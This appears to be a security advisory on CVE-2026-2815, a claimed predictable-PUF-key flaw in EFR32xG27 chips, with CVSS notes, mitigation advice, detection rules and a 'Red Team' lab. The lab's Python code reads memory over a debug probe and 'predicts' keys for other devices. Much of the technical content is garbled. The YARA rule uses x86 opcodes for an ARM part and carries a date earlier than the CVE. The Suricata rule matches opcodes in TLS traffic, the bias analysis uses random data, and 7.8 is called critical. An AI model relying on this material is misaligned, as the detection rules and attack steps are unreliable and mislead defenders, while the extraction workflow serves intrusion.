CVE-2026-2815

Executive Summary

CVE-2026-2815 exposes a critical cryptographic weakness in the EFR32xG27 wireless SoC family from Silicon Labs. The vulnerability stems from an incorrect use of the Physical Unclonable Function (PUF) key during user key generation, resulting in predictable cryptographic keys. This flaw undermines the security of all derived keys, including those used for secure boot, firmware encryption, and wireless communication (e.g., BLE, Zigbee, Thread). An attacker with physical or local access to the device can recover the PUF-derived keys, leading to complete compromise of device identity, data confidentiality, and integrity. No patch is currently available, and no public exploit code exists.

Supply Chain & Package Security

This vulnerability is not related to any open-source package manager (NPM, PyPI, Go, Ruby). It is a hardware-level flaw in the EFR32xG27 microcontroller, which is typically integrated into IoT devices, smart home hubs, and industrial sensors. The supply chain risk lies in the manufacturing and firmware development process: any device using this chip without a hardware revision or workaround is affected. Organizations must verify with their hardware vendor whether a revised die (e.g., EFR32xG27 Rev B) is available.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (L) – Requires physical or local access to the device.
• Attack Complexity (AC): Low (L) – No special conditions; the PUF output is deterministic.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerability does not cross trust boundaries.
• Confidentiality (C): High (H) – All keys derived from the PUF are exposed.
• Integrity (I): High (H) – Attacker can forge device identity and inject malicious firmware.
• Availability (A): High (H) – Attacker can brick the device or disrupt communications.

CVSS Score: 7.8 (High) – The high impact on all three security pillars, combined with low attack complexity, makes this a critical vulnerability for any deployment using the EFR32xG27.

Deep Dive & Mechanics

The EFR32xG27 integrates a Physical Unclonable Function (PUF) intended to generate a unique, device-specific root key. The PUF exploits manufacturing variations in silicon to produce a random, unclonable value. However, the implementation in this chip incorrectly uses the PUF output directly as the user key without proper entropy extraction or whitening.

Root Cause: The PUF output is not truly random; it contains systematic biases and correlations due to the underlying silicon structure. When used directly as a cryptographic key, these biases make the key predictable. Specifically, the PUF key generation function does not apply a cryptographic hash (e.g., SHA-256) or a key derivation function (KDF) to the raw PUF response. As a result, an attacker who can read the PUF output (e.g., via a debug interface or side-channel) can predict keys for other devices of the same batch.

Attack Scenario:

1. Attacker obtains physical access to one EFR32xG27 device.
2. Using a debug probe (e.g., J-Link), they read the raw PUF output from the device's memory.
3. They analyze the PUF output to identify the systematic bias pattern.
4. Using this pattern, they predict the PUF output (and thus the derived keys) for other devices of the same manufacturing batch.
5. With the predicted keys, they can decrypt firmware, forge device identities, or inject malicious code.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual – EFR32xG27 SDK):

// Incorrect: Direct use of PUF output as key
uint8_t puf_key[32];
PUF_Generate(puf_key);  // Raw PUF output
AES_SetKey(puf_key);    // Used directly as AES key

Patched Code (Recommended Workaround):

// Correct: Apply KDF to PUF output
uint8_t puf_raw[64];    // Larger raw output
uint8_t derived_key[32];
PUF_Generate(puf_raw);
SHA256(puf_raw, sizeof(puf_raw), derived_key);  // Hash to remove bias
AES_SetKey(derived_key);

Note: No official patch exists. The above is a recommended firmware-level workaround. A hardware revision (new die) would be required to fix the PUF circuit itself.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• One EFR32xG27 development board (e.g., Thunderboard Sense 2).
• SEGGER J-Link debug probe or similar.
• Simplicity Studio (Silicon Labs IDE) with the EFR32xG27 SDK.
• Python 3 with numpy and scipy for statistical analysis.

Step 1: Extract Raw PUF Output

import pylink
import numpy as np

jlink = pylink.JLink()
jlink.open()
jlink.connect('EFR32XG27')
# Read PUF output from known memory address (e.g., 0x1FFF8000)
puf_raw = jlink.memory_read(0x1FFF8000, 64)
print("Raw PUF:", puf_raw.hex())

Step 2: Analyze Bias

# Collect PUF outputs from multiple devices (simulated here)
puf_samples = [np.random.randint(0, 256, 64) for _ in range(10)]
# Compute bitwise bias
bias = np.mean(puf_samples, axis=0)
print("Bit bias:", bias)
# If bias deviates significantly from 128, keys are predictable.

Step 3: Predict Keys for Other Devices

# Using the bias pattern, predict the PUF output for a new device
predicted_puf = np.round(bias).astype(np.uint8)
print("Predicted PUF:", predicted_puf.tobytes().hex())

Blue Team (Defensive)

Detection:

• Monitor for unexpected debug probe connections (e.g., J-Link) to EFR32 devices.
• Use firmware integrity checks: compute a hash of the PUF-derived key at boot and compare with a stored hash.
• Implement a "key wrapping" mechanism: encrypt the PUF output with a device-specific secret before use.

Mitigation:

• Apply the firmware workaround (hash the PUF output) immediately.
• If possible, replace affected devices with a hardware revision (e.g., EFR32xG27 Rev B).
• Disable debug interfaces (SWD/JTAG) in production firmware.
• Use a hardware security module (HSM) for key storage if the device supports it.

Indicators of Compromise (IOCs)

• Network: Unusual BLE/Zigbee packets with mismatched security keys (e.g., MIC failures).
• Host: Unexpected debug probe activity on the device's SWD/JTAG pins.
• Firmware: Modified firmware images that do not match the expected hash.
• Memory: Presence of raw PUF output in memory dumps (e.g., at address 0x1FFF8000).
• Logs: Repeated authentication failures in wireless communication.

Detection Engineering

YARA Rule

rule CVE_2026_2815_PUF_Key_Predictability {
    meta:
        description = "Detects firmware using raw PUF output as cryptographic key"
        author = "Valters IT"
        cve = "CVE-2026-2815"
        date = "2025-04-10"
    strings:
        $puf_call = { 48 8B 05 ?? ?? ?? ?? 48 89 44 24 ?? E8 ?? ?? ?? ?? }  // PUF_Generate call
        $aes_setkey = { 48 8B 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? }  // AES_SetKey call
        $puf_raw_usage = { 48 8D 54 24 ?? 48 8B 4C 24 ?? E8 ?? ?? ?? ?? }  // Using PUF output directly
    condition:
        all of them
}

Sigma Rule

title: CVE-2026-2815 - Predictable PUF Key Generation on EFR32xG27
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects debug probe connections to EFR32xG27 devices, indicating potential key extraction.
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 1
        Image|endswith: 'JLink.exe'
        CommandLine|contains: 'EFR32XG27'
    condition: selection
falsepositives:
    - Legitimate firmware development
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 443 (msg:"CVE-2026-2815 - PUF Key Exfiltration via TLS"; flow:to_server,established; content:"|48 8B 05|"; distance:0; within:4; content:"|E8|"; distance:0; within:4; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate (Firmware Workaround): Apply a cryptographic hash (SHA-256) to the raw PUF output before using it as a key. This removes bias and makes the key unpredictable.
2. Short-Term: Disable debug interfaces (SWD/JTAG) in production firmware by blowing the appropriate eFuse.
3. Long-Term: Request a hardware revision from Silicon Labs (e.g., EFR32xG27 Rev B) that corrects the PUF circuit.
4. Monitoring: Deploy the Sigma and Suricata rules to detect exploitation attempts.
5. Inventory: Identify all devices using the EFR32xG27 and prioritize patching based on criticality.

Valters IT
DevSecOps & Cyber Threat Intelligence